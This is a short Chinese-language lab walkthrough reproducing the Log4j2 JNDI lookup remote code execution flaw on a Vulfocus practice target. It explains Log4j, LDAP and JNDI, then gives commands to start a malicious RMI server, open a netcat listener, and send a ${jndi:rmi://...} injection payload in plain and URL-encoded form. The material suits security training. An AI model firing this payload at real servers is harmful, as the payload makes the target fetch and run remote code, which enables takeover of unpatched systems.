一、简述:
- 漏洞介绍
Apache Log4j2 是一个 Java 的日志组件,在特定的版本中由于其启用了 lookup 功能,从而导致产生远程代码执行漏洞。
- 概念
log4j(log for java),Apache 的开源日志记录组件,使用非常广泛
- 什么是 LDAP?
轻型目录访问协议(Lightweight Directory Access Protocol,是一个开放的,中立的,工业标准的应用协议,通过 IP 协议提供访问控制和维护分布式信息的目录信息。
- JNDI 实现原理
JNDI 通过 lookup () 方法解析接收自应用程序的信息,从而去对应的服务(如 LDAP、RMI、DNS、文件系统、目录服务...)查找资源。
格式 :${jndi:rmi://192.168.20.243:1097/ExecByEL}
二、、复现
2.1 开启漏洞靶场:Vulfocus
2.2 攻击复测
- 抓包
- 处理
- 启动攻击载荷
- 环境:JAVA8
- JNDI注入工具:下载
- 注入服务:
java -cp JNDI-Injection-Bypass-1.0-SNAPSHOT-all.jar payloads.EvilRMIServer 攻击者IP
- 监听端口:
nc -lnvp 5555
- 构造恶意请求
- 替换
payload=${jndi:rmi://192.168.20.243:1097/ExecByEL}
- 对攻击载荷
${jndi:rmi://192.168.20.243:1097/ExecByEL}
进行URL编码 - 最终攻击载荷为:
%24%7b%6a%6e%64%69%3a%72%6d%69%3a%2f%2f%31%39%32%2e%31%36%38%2e%32%30%2e%32%34%33%3a%31%30%39%37%2f%45%78%65%63%42%79%45%4c%7d
- 替换